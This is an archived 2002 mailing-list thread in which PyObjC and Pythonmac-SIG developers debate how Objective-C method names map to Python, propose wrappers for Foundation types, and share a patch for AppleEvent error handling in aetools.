Message-ID: <18523A90-E154-11D6-8271-0003938210D6@redivi.com>

On Wednesday, Oct 16, 2002, at 17:45 America/New_York, bbum@mac.com 
wrote:
>>
>> That's not a case of ambiguity, that's just Programmer Error.  
>> Unknown selector is what they *should* get for issuing the selectors 
>> in an incorrect order.  Notice that he's using ordered list 
>> arguments, not dictionary arguments for his call function.
>
> In that you are correct -- an array of arguments could be interpreted 
> in this fashion.
>
> However, I completely fail to see how...
>
>     rt.call(obj, "drawSelfAtPoint", p, "color", c, "withSize", "s")
>
> ... is cleaner/clearer/better than...
>
>     obj.drawSelfAtPoint_color_withSize_(p, c, s)

It's not.  Though, I can see how it'd be kinda useful in strange cases 
to have the "rt.call" function around.

-bob



From bbum@mac.com  Wed Oct 16 23:15:52 2002
From: bbum@mac.com (bbum@mac.com)
Date: Wed, 16 Oct 2002 18:15:52 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <18523A90-E154-11D6-8271-0003938210D6@redivi.com>
Message-ID: <D523D0CC-E154-11D6-A593-000393877AE4@mac.com>

On Wednesday, October 16, 2002, at 06:10 PM, Bob Ippolito wrote:
> It's not.  Though, I can see how it'd be kinda useful in strange cases 
> to have the "rt.call" function around.

Definitely useful!

In particular, if we had an objc_msgSend() equivalent available on the 
Python side of the bridge, it opens things up for some truly tremendous 
opportunities.

(If you know ahead of time the type and number of arguments -- which 
you would given that the call is coming from Python -- then 
NSInvocation can be used to build a stack frame and, as such, could be 
used to implement a solution -- slightly inefficient, but a solution 
none-the-less)

With objc_msgSend() around, you could do something like...

     objc.msgSend(Foundation.NSString, "stringWithFormat:", "Foo %d Bar 
%5.3f Baz %s", 10, 25.3, "bob")

That is, you could call the handful of varargs methods in the various 
'kits.

But, more importantly, it means that you could programmatically 
dispatch methods from the python side using standard idioms -- 
something that *can* be done now, but not without a bit of pain.

b.bum



From Jack.Jansen@oratrix.com  Wed Oct 16 23:32:55 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 17 Oct 2002 00:32:55 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <CD802461-E11C-11D6-A593-000393877AE4@mac.com>
Message-ID: <36E54973-E157-11D6-8AA6-003065517236@oratrix.com>

On woensdag, oktober 16, 2002, at 05:34 , bbum@mac.com wrote:
> We have been down this path a number of times over the six year 
> history of the PyObjC module.  In all cases, we have ended up 
> back with the naming conventions that we have now for a number 
> of reasons.   Moving from double underbar to single underbar 
> was definitely a win -- made the code easier to read and write.

I'm not convinced yet, but you're getting there:-)

You're getting there because you have by far the most experience 
with this beast, so if you say the _ convention is A Good Thing 
and everything else leads to madness: okay, proof by 
authority:-) Also, the point of ObjC-Cocoa programmers moving to 
Python is a valid one.

I'm not convinced yet, though, because I think it depends on the 
target audience. My first impression when I saw PyObjC code 
(about 18 months ago) was "UGLY!! UGLY!! UGLY!!", and I 
immediately stayed away from it for a year. And I've heard of 
more people with this reaction. So, if we care about winning 
existing Python programmers over to Cocoa (which I think we 
should: even though Carbon is going to be around for a long time 
it'll only be interesting to existing Mac programmers, and Cocoa 
has the potential to win over unix and windows Python people) we 
should make sure it looks appealing.

Let's try for a political solution. The official mapping is 
the _ mapping. However, for convenience there are some method 
names that have an alias. This alias is translated early on 
(when looking up the method name from Python, or when creating 
the Python subclass of an ObjC class), and the official name is 
used from then on. Would this be workable?
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From bbum@mac.com  Wed Oct 16 23:48:22 2002
From: bbum@mac.com (bbum@mac.com)
Date: Wed, 16 Oct 2002 18:48:22 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <36E54973-E157-11D6-8AA6-003065517236@oratrix.com>
Message-ID: <5FCEE72A-E159-11D6-A593-000393877AE4@mac.com>

On Wednesday, October 16, 2002, at 06:32 PM, Jack Jansen wrote:
> On woensdag, oktober 16, 2002, at 05:34 , bbum@mac.com wrote:
>> We have been down this path a number of times over the six year 
>> history of the PyObjC module.  In all cases, we have ended up back 
>> with the naming conventions that we have now for a number of reasons. 
>>   Moving from double underbar to single underbar was definitely a win 
>> -- made the code easier to read and write.
>
> I'm not convinced yet, but you're getting there:-)
>
> You're getting there because you have by far the most experience with 
> this beast, so if you say the _ convention is A Good Thing and 
> everything else leads to madness: okay, proof by authority:-) Also, 
> the point of ObjC-Cocoa programmers moving to Python is a valid one.

Let me clarify:  I don't necessarily think it is A Good Thing.  I'm 
just convinced that it is better than solutions that involve presenting 
a significantly mangled API on the other side of the bridge.

The current _ based mapping system falls clearly under the KISS 
principal -- it is simple, slightly ugly, and just works.

>
> I'm not convinced yet, though, because I think it depends on the 
> target audience. My first impression when I saw PyObjC code (about 18 
> months ago) was "UGLY!! UGLY!! UGLY!!", and I immediately stayed away 
> from it for a year. And I've heard of more people with this reaction. 
> So, if we care about winning existing Python programmers over to Cocoa 
> (which I think we should: even though Carbon is going to be around for 
> a long time it'll only be interesting to existing Mac programmers, and 
> Cocoa has the potential to win over unix and windows Python people) we 
> should make sure it looks appealing.

I completely agree (including the UGLY!! part).   A part of making it 
appealing is making it easier to work with or more powerful than 
working with the existing compiled ObjC based tools.

The current model-- though ugly from a traditional python viewpoint-- 
is easy to work with in that it is very easy to map between 
Python<->ObjC and it is extremely powerful-- more powerful than 
straight ObjC-- in terms of both rapid turnaround time and ability to 
leverage the vast wealth of Python tools/frameworks/libraries that are 
available.

> Let's try for a political solution. The official mapping is the _ 
> mapping. However, for convenience there are some method names that 
> have an alias. This alias is translated early on (when looking up the 
> method name from Python, or when creating the Python subclass of an 
> ObjC class), and the official name is used from then on. Would this be 
> workable?

(I would also like to see effort invested in making the ObjC classes 
behave like proper Python classes where possible and vice-versa.  For 
example, would it be possible to pass things of type PyDict across the 
bridge from Python->ObjC such that they behave like a subclass of 
NSMutableDictionary?  I think so, but am not sure.)

As much as I have been extremely vocal in my opinions on this subject, 
I'm also a very reasonable solution.  As long as the underlying system 
remains as transparent and workable-- though UGLY!!-- as it currently 
is, I'm all for changes that will attract a larger audience.

At the same time, I don't want to see the [somewhat limited] developer 
resources devoted to fixing problems that don't exist or to providing 
solutions that, in the end, no one will use.

The Java bridge almost falls into the latter category -- almost in that 
there are a handful of developers that have either stuck with it or 
need to use it to access Java only functionality.

If you look at the cocoa-dev mailing list archive, there is a boatload 
of posts from people that started with the Java/Cocoa APIs, worked with 
it for a while, and either gave up or picked up ObjC.  Of those that 
picked up ObjC, they have become some of the most vocal proponents of 
the language!

There are really two problems here:  One of marketing, one of a 
technical nature.

On the marketing side, if providing a layer on top of the existing 
PyObjC system will make it more palatable to a larger degree of Python 
programmers, there is certainly value within doing so!

I do feel strongly that most programmers that come through this route 
will eventually find themselves using the '_' notation more and more 
often for three key reason;  it immediately indicates where the bridge 
is crossed (which, regardless of the transparency of the bridge, that 
the bridge has been crossed is important), reduces maintenance costs 
over time, and provides the maximum interoperability between Python and 
ObjC with the least amount of effort.

On the technical side... well, you know my feelings on the technical 
side -- that has been what the thread has focused on!

b.bum



From tmk@mac.com  Thu Oct 17 01:28:06 2002
From: tmk@mac.com (tmk)
Date: Thu, 17 Oct 2002 02:28:06 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <36E54973-E157-11D6-8AA6-003065517236@oratrix.com>
Message-ID: <4E1868AA-E167-11D6-88E0-000393A49442@mac.com>

On Thursday, Oct 17, 2002, at 00:32 Europe/Brussels, Jack Jansen wrote:

>
> On woensdag, oktober 16, 2002, at 05:34 , bbum@mac.com wrote:
>> We have been down this path a number of times over the six year 
>> history of the PyObjC module.  In all cases, we have ended up back 
>> with the naming conventions that we have now for a number of reasons. 
>>   Moving from double underbar to single underbar was definitely a win 
>> -- made the code easier to read and write.
>
> I'm not convinced yet, but you're getting there:-)
>
> You're getting there because you have by far the most experience with 
> this beast, so if you say the _ convention is A Good Thing and 
> everything else leads to madness: okay, proof by authority:-) Also, 
> the point of ObjC-Cocoa programmers moving to Python is a valid one.

Yes on both counts. That's exactly what encouraged to actually try and 
write some code using the alternative syntax. And indeed, soon enough 
it so happens that the "_" notation just "grew" on me and became quite 
natural. I think it's because it "reads" effortlessly, whereas I needed 
to pause and decipher the innercased notation.

> I'm not convinced yet, though, because I think it depends on the 
> target audience. My first impression when I saw PyObjC code (about 18 
> months ago) was "UGLY!! UGLY!! UGLY!!", and I immediately stayed away 
> from it for a year. And

Funny. Same here. But that was the notation with the double underscore 
(if memory serves I even de-lurked at that time just to say that I felt 
the syntax looked really UGLY ;-). But with one underscore, as said 
previously, it makes a lot of sense to me (much more than the 
alternatives anyway).

One other thing, A paradox, I tend to dislike using underscores when I 
write "regular" python code. I prefer using InnerCased (?) style. Funny 
brain.

>  I've heard of more people with this reaction. So, if we care about 
> winning existing Python programmers over to Cocoa (which I think we 
> should: even though Carbon is going to be around for a long time it'll 
> only be interesting to existing Mac programmers, and Cocoa has the 
> potential to win over unix and windows Python people) we should make 
> sure it looks appealing.
> Let's try for a political solution. The official mapping is the _ 
> mapping. However, for convenience there are some method names that 
> have an alias. This alias is translated early on (when looking up the 
> method name from Python, or when creating the Python subclass of an 
> ObjC class), and the official name is used from then on. Would this be 
> workable?

Looks like a reasonable compromise. But I suspect (based on my humble 
experience) that most people will eventually use the "_" naturally 
(same as C programmers who first don't want to learn ObjC and then fall 
in love with it ;-)

= tmk =

> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>        
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution -- Emma 
> Goldman -
>
>
>
> -------------------------------------------------------
> This sf.net email is sponsored by: viaVerio will pay you up to
> $1,000 for every account that you consolidate with us.
> http://ad.doubleclick.net/clk;4749864;7604308;v?
> http://www.viaverio.com/consolidator/osdn.cfm
> _______________________________________________
> Pyobjc-dev mailing list
> Pyobjc-dev@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/pyobjc-dev
>



From lists@netelligent.biz  Thu Oct 17 01:35:20 2002
From: lists@netelligent.biz (tmk)
Date: Thu, 17 Oct 2002 02:35:20 +0200
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <36E54973-E157-11D6-8AA6-003065517236@oratrix.com>
Message-ID: <51208E47-E168-11D6-88E0-000393A49442@netelligent.biz>

On Thursday, Oct 17, 2002, at 00:32 Europe/Brussels, Jack Jansen wrote:

>
> On woensdag, oktober 16, 2002, at 05:34 , bbum@mac.com wrote:
>> We have been down this path a number of times over the six year 
>> history of the PyObjC module.  In all cases, we have ended up back 
>> with the naming conventions that we have now for a number of reasons. 
>>   Moving from double underbar to single underbar was definitely a win 
>> -- made the code easier to read and write.
>
> I'm not convinced yet, but you're getting there:-)
>
> You're getting there because you have by far the most experience with 
> this beast, so if you say the _ convention is A Good Thing and 
> everything else leads to madness: okay, proof by authority:-) Also, 
> the point of ObjC-Cocoa programmers moving to Python is a valid one.

Yes on both counts. That's exactly what encouraged to actually try and 
write some code using the alternative syntax. And indeed, soon enough 
it so happens that the "_" notation just "grew" on me and became quite 
natural. I think it's because it "reads" effortlessly, whereas I needed 
to pause and decipher the innercased notation.

> I'm not convinced yet, though, because I think it depends on the 
> target audience. My first impression when I saw PyObjC code (about 18 
> months ago) was "UGLY!! UGLY!! UGLY!!", and I immediately stayed away 
> from it for a year. And

Funny. Same here. But that was the notation with the double underscore 
(if memory serves I even de-lurked at that time just to say that I felt 
the syntax looked really UGLY ;-). But with one underscore, as said 
previously, it makes a lot of sense to me (much more than the 
alternatives anyway).

One other thing, A paradox, I tend to dislike using underscores when I 
write "regular" python code. I prefer using InnerCased (?) style. Funny 
brain.

>  I've heard of more people with this reaction. So, if we care about 
> winning existing Python programmers over to Cocoa (which I think we 
> should: even though Carbon is going to be around for a long time it'll 
> only be interesting to existing Mac programmers, and Cocoa has the 
> potential to win over unix and windows Python people) we should make 
> sure it looks appealing.
> Let's try for a political solution. The official mapping is the _ 
> mapping. However, for convenience there are some method names that 
> have an alias. This alias is translated early on (when looking up the 
> method name from Python, or when creating the Python subclass of an 
> ObjC class), and the official name is used from then on. Would this be 
> workable?

Looks like a reasonable compromise. But I suspect (based on my humble 
experience) that most people will eventually use the "_" naturally 
(same as C programmers who first don't want to learn ObjC and then fall 
in love with it ;-)

= tmk =

> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>        
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution -- Emma 
> Goldman -
>
>
>
> -------------------------------------------------------
> This sf.net email is sponsored by: viaVerio will pay you up to
> $1,000 for every account that you consolidate with us.
> http://ad.doubleclick.net/clk;4749864;7604308;v?
> http://www.viaverio.com/consolidator/osdn.cfm
> _______________________________________________
> Pyobjc-dev mailing list
> Pyobjc-dev@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/pyobjc-dev
>



From seth@jtan.com  Thu Oct 17 02:01:21 2002
From: seth@jtan.com (Seth Delackner)
Date: Wed, 16 Oct 2002 18:01:21 -0700
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <18523A90-E154-11D6-8271-0003938210D6@redivi.com>
Message-ID: <F3AFA2BE-E16B-11D6-BDE2-000393873F82@jtan.com>

On Wednesday, October 16, 2002, at 03:10 , Bob Ippolito wrote:
>
> On Wednesday, Oct 16, 2002, at 17:45 America/New_York, bbum@mac.com 
> wrote:
>> However, I completely fail to see how...
>>
>>     rt.call(obj, "drawSelfAtPoint", p, "color", c, "withSize", "s")
>>
>> ... is cleaner/clearer/better than...
>>
>>     obj.drawSelfAtPoint_color_withSize_(p, c, s)
>
> It's not.  Though, I can see how it'd be kinda useful in strange cases 
> to have the "rt.call" function around.

I'll never 'win' this discussion, as if that is meaningful, but the 
syntax serves another purpose.  The main reason I like it is because I 
don't like calling conventions that list parameter names and values in 
separate places.  With the underscore convention, you have essentially 
(pseudocode):

call((a,b,c), (1,2,3))

when the *meaning* is

call(a=1, b=2, c=3).

But I'm definitely not the target audience for pyobjc, so I would ignore 
all of my comments at this point.  I love Python and I love 
Objective-C.  I see no reason to write GUI Cocoa code in Python when 
Objective-C does it perfectly and the GUI api was meant for use with 
Objective-C.

I thus think it would be far more useful to have a simple way to link an 
Objective-C nib-based GUI controlled by a Python backend, with 
convenience wrappers to convert complex library types like dictionaries 
and mutable arrays.



From Ted.Horst@ubsw.com  Thu Oct 17 17:06:48 2002
From: Ted.Horst@ubsw.com (Ted Horst)
Date: Thu, 17 Oct 2002 11:06:48 -0500
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <CD802461-E11C-11D6-A593-000393877AE4@mac.com>
References: <CD802461-E11C-11D6-A593-000393877AE4@mac.com>
Message-ID: <200210171606.AA04008@zchi6049dwk>

(I sent this to pyobjc-dev@lists.sourceforge.net yesterday, cross-posting  
now to include everybody involved in the debate.

Just a little background on my experience; I have been an Objective-C  
developer (on NeXTStep) for almost 10 years and a python user since 1.2.  I  
wrote my own version of a python-Objective-C bridge (there were 3 or 4  
different versions originally) and made some small contributions to the  
unified PyObjC project which was brought together by Lele Gaifax around  
1996.  My version started as a very thin wrapper around objc_msgSendv which  
I then wrapped with a python class to get method call syntax.  Since then I  
have used the unfied version of PyObjC (which bbum contributed heavily to)  
almost every day to interact with our large, fairly complex interest rate  
derivatives trading system.  It has been am absolute joy to use and has  
allowed me to do things that I just would not have done without it.  I am  
currently struggling to figure out how to get anything remotely resembling  
this kind of environment in the C++ system I am currently working on.  Its  
quite depressing, actually.)

Anyway here is the original message:

I apologize for low content ratio of this post, but as a once and  
(hopefully) future heavy user of the pyobjc bridge, I just wanted to  
whole-heartedly agree with everything that Bill says in this post.  Explicit  
and straightforward are the way to go.

Now that I've delurked temporarily, I also want to take this opportunity to  
extend a huge thanks to Ronald and Bill for their work on this project.  I  
am really looking forward to getting back to this kind of environment.

On Wed, 16 Oct 2002, bbum@mac.com wrote:
> (Jack;  thanks for the CC to pyobjc.  I have now subscribed to
> pythonmac and will try to keep up with things in this SIG.)
>
> First, a brief update on the progress made on the PyObjC project.
>
> The module itself is now compatible with the Apple supplied build of
> Python 2.2.
>
> At this point, the developer can create a new project in Project
> Builder, select "Cocoa-Python Application" (a custom template included
> with PyObjC), and Project Builder will create a new Cocoa application
> project that is implemented entirely in Python.  The project template
> includes an implementation for a basic application delegate (NSObject
> subclass) that includes target/actions, outlets, and notification
> handling.
>
> When the 'install' target is used, the resulting application runs
> completely standalone on any OS X 10.2 machine without requiring that
> the user has preinstalled PyObjC or a custom build of Python.
>
> In comparison to Cocoa-Java, the PyObjC bridge is significantly less
> intrusive.   More on this below.
>
> In comparison to Cocoa-AppleScript (AppleScript Studio), the PyObjC
> bridge presents a development experience that is much closer to pure
> Cocoa.  AppleScript Studio is really a mix of Cocoa widgets into
> AppleScript style event handling-- the end result is very powerful, but
> it isn't Cooca programming.
>
> At this point, the PyObjC bridge is being used in several production
> quality projects/products.  I.e. it is working now and working
> extremely well!!
>
> (And, again, a huge note of thanks to Ronald -- his work on the
> subclassing and method dispatch mechanisms made it all possible.)
>
> More information interspersed with Jack's and Ronald's text below.
>
> On Wednesday, October 16, 2002, at 09:17 AM, Jack Jansen wrote:
> > [I've added pyobjc-dev to the distribution]
> > On Wednesday, October 16, 2002, at 02:28 , Ronald Oussoren wrote:
> >>> Something that is open to discussion, I think, is how to map ObjC
> >>> names to Python names. The current PyObjC code supports two
> >>> compile-time options, object.message_withFoo_(arg1, arg2) and
> >>> another that I forget with even more underscores in there (this
> >>> mapping is ambiguous: it maps to both [object message: withFoo:] and
> >>> to [object message_withFoo:]). The Java-ObjC brigde has simply
> >>> defined sensible static mappings for all names used in Cocoa, and
> >>> the above would probably become something like
> >>> object.messagewithFoo() or object.messageWithFoo(). Python's current
> >>> method is more flexible, but boy does it lead to ugly method names
> >>> in your code...
> >>
> >> Changing the mapping from Objective-C names to/from Python names is
> >> definitely open for discusion.
> >>
> >> BTW. The current PyObjC no longer supports object.message__withFoo__.
>
> We have been down this path a number of times over the six year history
> of the PyObjC module.  In all cases, we have ended up back with the
> naming conventions that we have now for a number of reasons.   Moving
> from double underbar to single underbar was definitely a win -- made
> the code easier to read and write.
>
> > I think that what I would like is one static scheme that is the same
> > (or almost the same) as the Java/ObjC naming scheme, plus a fallback
> > scheme (which could be the current message_withFoo_ scheme). There may
> > be a problem here with overloading, though: if I look at AppKitJava
> > there's often multiple ObjC selectors that map to one Java method
> > name, I'm not sure how they handle this, especially in the face of
> > overriding ObjC methods from Java.
>
> The key value in the PyObjC module is that it provides an ObjC
> development experience that is about as close to transparent as can be
> achieved when mapping from one language to another.   One of the most
> frustrating aspects of doing ObjC/Java (the bridge existed back to
> WebObjects 3.0 in 1997) was because of the mapping of method names.
> Specifically, the developer effectively had to learn three APIs deeply
> to be effective -- the ObjC API, the Java SDK APIs, and this weird
> permutation of the ObjC APIs as presented in Java.
>
> End result;  the developer is constantly frustrated by constantly
> having to do the mapping in their heads.  Worse, the mapped
> representation -- the conversion from, say, setObject:forKey: to
> setObjectForKey() -- loses the emphasis on the number and order of
> parameters that is emphasized by ObjC's method naming scheme.
>
> From personal experience-- both as a developer and a WebObjects
> training instructor-- I can confidently say that all of the effort that
> was put into presenting the ObjC API in Java such that it appeared to
> be a Java API caused a hell of a lot more confusion than it ever
> perpetuated clarity!
>
> Even if it slightly less Python-Pretty, this...
>
> mutableDictionary.setObject_forKey_ ( "foo", "bar" )
>
> ... is ultimately easier to read and maintain than this...
>
> mutableDictionary.setObjectForKey( "foo", "bar" )
>
> ... for a number of reasons:
>
> - the first is immediately recognizable as an ObjC method call.
> Regardless of how transparent the bridge is, the bridge is there and it
> does affect behavior.  Trying to hide it makes maintenance
> significantly more expensive and the introduction of new developers
> into a project harder.  (I helped maintain a mixed ObjC<->Java codebase
> with 500,000+ lines of code for over 3 years.   The bridge was the
> single largest cause of problems in the project -- that it tried to
> hide the "crossing of the bridge" just confused things.)
>
> - the first form preserves the argumentation information as
> provided by the traditional ObjC method name (setObject:forKey:)-- the
> developer can easily map between that syntax and the original ObjC
> method.  The second loses that information and the developer can easily
> assume that the key should be first.   This is a huge problem among my
> development team with WebObjects 5.x -- all of us make this kind of
> mistake on a regular basis.
>
> - the first has the distinct advantage of allowing the developer to
> *always* be able to deduce the original ObjC method name by simply
> looking at the code.  The developer doesn't have to go follow some
> random mapping to try and figure out what the ObjC method's name
> originally was.
>
> > Hmm, even if that isn't possible we could cop out: if the method name
> > translation routine finds that a certain name isn't in the
> > dictionaries it would simply add it. Or (more cumbersome, but safer)
> > there could be a (Python) API MapObjCSelector('message:withFoo',
> > 'messageWithFoo') which could then also check that this mapping
> > doesn't conflict with another one. With such a scheme the Python
> > programmer would have to declare any new ObjC messages it uses, but
> > the question is how often this will happen.
>
> Anything that adds more steps to the bridging process is bad.  One of
> the most powerful and valuable aspects of the PyObjC bridge is that it
> so totally transparent;  much more so than CamlBones (doesn't do
> subclassing), Java<->ObJC (changes the API) and AppleScript<->ObjC (not
> intended to be transparent at all).
>
> The developer is going to be defining new ObjC methods quite often.
> The current PyObjC module can complete replace ObjC within a Cocoa
> project.  That is, Python is used to create all of the custom classes
> that one would normally find in a Cocoa project.   As such, the
> developer is writing lots of custom methods that implement the
> functionality specific to their application.   Certainly, there are
> many cases where the developer is simply overriding existing Cocoa
> providing functionality.
>
> As it is, many of those methods have to be declared such that the
> bridge can figure out how to do the dispatch.   Very unfortunate, in
> and of itself, but livable.   It would be even more unfortunate if
> every single action method and other custom methods had to be declared,
> as well!
>
> b.bum
>

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From bbum@codefab.com  Thu Oct 17 17:24:22 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Thu, 17 Oct 2002 12:24:22 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <20021017160003.24776.83128.Mailman@mail.python.org>
Message-ID: <E4E5C167-E1EC-11D6-A593-000393877AE4@codefab.com>

On Thursday, October 17, 2002, at 12:00 PM, 
pythonmac-sig-request@python.org wrote:
> I'll never 'win' this discussion, as if that is meaningful, but the
> syntax serves another purpose.  The main reason I like it is because I
> don't like calling conventions that list parameter names and values in
> separate places.

Agreed on conventions -- I like ObjC's and SmallTalk's calling 
conventions much better for exactly the reason you describe.

Minor correction:  There are no named parameters in Objective-C.   The 
method "setObject:forKey:" is named "setObject:forKey:" -- not 
"setObject: that takes an argument called forKey:".

> With the underscore convention, you have essentially
> (pseudocode):
>
> call((a,b,c), (1,2,3))
>
> when the *meaning* is
>
> call(a=1, b=2, c=3).

The underscore convention turns...

     [aDict setObject: foo forKey: @"bar"]

... into ...

     aDict.setObject_forKey_(foo, "bar")

That's it.   Given that there aren't named parameters, I'm not sure 
what the above statement is intending to mean.

> But I'm definitely not the target audience for pyobjc, so I would 
> ignore
> all of my comments at this point.  I love Python and I love
> Objective-C.  I see no reason to write GUI Cocoa code in Python when
> Objective-C does it perfectly and the GUI api was meant for use with
> Objective-C.

Four big reasons to use Python:

     - rapid development:  With Python in the mix, I can reduce the 
compile-run part of the edit-compile-run to almost non-existent (as 
soon as I get class reloading working -- haven't had time to go there). 
   In my experience, it has *vastly* improved my productivity.

     - access to tools:  The Python world has an awesome-- both quantity 
and range-- variety of tools and libraries available that may not be 
available directly in ObjC.   By using PyObjC, I can write my UI 
widgets in ObjC, glue 'em together using a mix of Python and ObjC, and 
leverage whatever tools I need from the Python world.

     - efficiency of implementation:   There are certain tasks that 
Python is incredibly well suited for;  writing command line tools 
(getopt, modularity, etc...) and implementing/using network protocols, 
to name two examples.  Concrete example:  By switching from the 
WebServices API provided by Apple to the xmlrpclib provided in Python, 
I was able to reduce the number of lines of code in the network client 
portion of my Cocoa app by roughly 70% (well over several hundred lines 
of code).   At the same time, I gain....

     - portability: While the Cocoa specific bits of my app are not 
portable, my entire communication layer is.  Since my app is a client 
on top of a remote server and I also needed to create a command line 
client for the purposes of testing and automation.... and I needed to 
support many platforms on everything but the GUI specific bits, I chose 
to implement my client library in Python.   It is 100% portable-- runs 
everywhere-- including in my ObjC/Cocoa OS X specific GUI application.l 
   Not only did I eliminate 70% of the client side ObjC code in my Cocoa 
app, but I also reduced my code duplication -- I only have to write 
*one* client package.

> I thus think it would be far more useful to have a simple way to link 
> an
> Objective-C nib-based GUI controlled by a Python backend, with
> convenience wrappers to convert complex library types like dictionaries
> and mutable arrays.

I believe most of this is already done.  I certainly have a complex 
ObjC app using a python backend/client-library to talk to the server 
and control the UI -- it is up and running now and works very well!

Convenience wrappers are in the works.  Instead of wrapping, we are 
thinking of simply providing a subclass of NSDictionary and NSArray 
that can encapsulate DictType and Array/TupleTypes respectively.   That 
way, Python arrays and dicts will behave like normal NSArray / 
NSDictionary instances on the ObjC side of the bridge.   (The other 
direction has already been bridged).

b.bum



From bob@redivi.com  Thu Oct 17 19:01:55 2002
From: bob@redivi.com (Bob Ippolito)
Date: Thu, 17 Oct 2002 14:01:55 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <E4E5C167-E1EC-11D6-A593-000393877AE4@codefab.com>
Message-ID: <8565D541-E1FA-11D6-B814-0003938210D6@redivi.com>

On Thursday, Oct 17, 2002, at 12:24 America/New_York, Bill Bumgarner 
wrote:

>
> Convenience wrappers are in the works.  Instead of wrapping, we are 
> thinking of simply providing a subclass of NSDictionary and NSArray 
> that can encapsulate DictType and Array/TupleTypes respectively.   
> That way, Python arrays and dicts will behave like normal NSArray / 
> NSDictionary instances on the ObjC side of the bridge.   (The other 
> direction has already been bridged).
>

IMHO there should also be easy to use wrappers for NSNumber and 
NSData.. I use those on a pretty regular basis for stuff that needs to 
get serialized for DO or plists.  Another extremely convenient idea 
would be to just make special cases for some of the most used 
Foundation classes such as NS[Mutable]Array, NS[Mutable]Dictionary and 
NSEnumerator so that you can treat them like native python objects.  
Possibly even NS[Mutable]String and so on.  Probably wouldn't even take 
too long to develop, especially if it's done (at least at first) from 
the python end of the stick and not in ObjC.

Does pyobjc do garbage collection?  I'd imagine that you could have the 
__init__ for anything to a retain and the __del__ for anything do a 
release without getting in the way..

-bob



From aparente@adobe.com  Thu Oct 17 19:20:07 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Thu, 17 Oct 2002 11:20:07 -0700
Subject: [Pythonmac-SIG] Found my OSA problem !
Message-ID: <B9D44D67.8425%aparente@adobe.com>

Jack,

I've been telling you over and over I had some AppleScript problems, events
not returning. For example I use Make_Project of CodeWarrior.
Metrowerks_Shell_Suite.py, and it never returned an error when the project
was failing.

The solution came for me around the aetools.unpackevent:

    try:
        dirobj = ae.AEGetParamDesc('----', '****')
    except AE.Error:
        pass
    else:
        parameters['----'] = unpack(dirobj, formodulename)
        del dirobj

If I understand correctly, it is expected there is an event of type '----'
to return an error. Well, maybe it used to, but not anymore for me on
Jaguar. Instead, I get directly the 'errn' event coming back. So I changed
the code this way :

   try:
        dirobj = ae.AEGetParamDesc('----', '****')
    except AE.Error:
        try:
            keyword, dirobj = ae.AEGetNthDesc(1, '****')
        except AE.Error:
            pass
        else:
            parameters[keyword] = unpack(dirobj, formodulename)
    else:
        parameters['----'] = unpack(dirobj, formodulename)
        del dirobj

Note I don't like this code, may be I should use AECountItems.

Anyway, that was the source of my problem. How come you don't experience
that ??? I don't understand ! Why the returned event suddenly changed from
'----' (and then 'errn' inside the AEList) to directly 'errn' ?

Anyway, if it could make it for 2.2.2, I want to emphasize that without
this, I don't have CodeWarrior.CodeWarrior functional (tested on CW 7.1,
7.2, 8.0, 8.1, 8.2, Py2.2.1, Py2.3a0, re-generating CodeWarrior.CodeWarrior
or not). 

Alex.

-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166



From bbum@codefab.com  Thu Oct 17 19:29:23 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Thu, 17 Oct 2002 14:29:23 -0400
Subject: [Pyobjc-dev] Re: [Pythonmac-SIG] pyobjc / cocoa
In-Reply-To: <8565D541-E1FA-11D6-B814-0003938210D6@redivi.com>
Message-ID: <5BB37E44-E1FE-11D6-A593-000393877AE4@codefab.com>

On Thursday, October 17, 2002, at 02:01 PM, Bob Ippolito wrote:
> IMHO there should also be easy to use wrappers for NSNumber and 
> NSData.. I use those on a pretty regular basis for stuff that needs to 
> get serialized for DO or plists.  Another extremely convenient idea 
> would be to just make special cases for some of the most used 
> Foundation classes such as NS[Mutable]Array, NS[Mutable]Dictionary and 
> NSEnumerator so that you can treat them like native python objects.  
> Possibly even NS[Mutable]String and so on.  Probably wouldn't even 
> take too long to develop, especially if it's done (at least at first) 
> from the python end of the stick and not in ObjC.

Wrapping NSNumber and NSData is definitely on the radar, but there is 
some subtlety in how they need to be wrapped.   I totally agree that 
they should be wrapped in some fashion.

On the ObjC->Python front, do you mean:

[bumbox:~] bbum% python
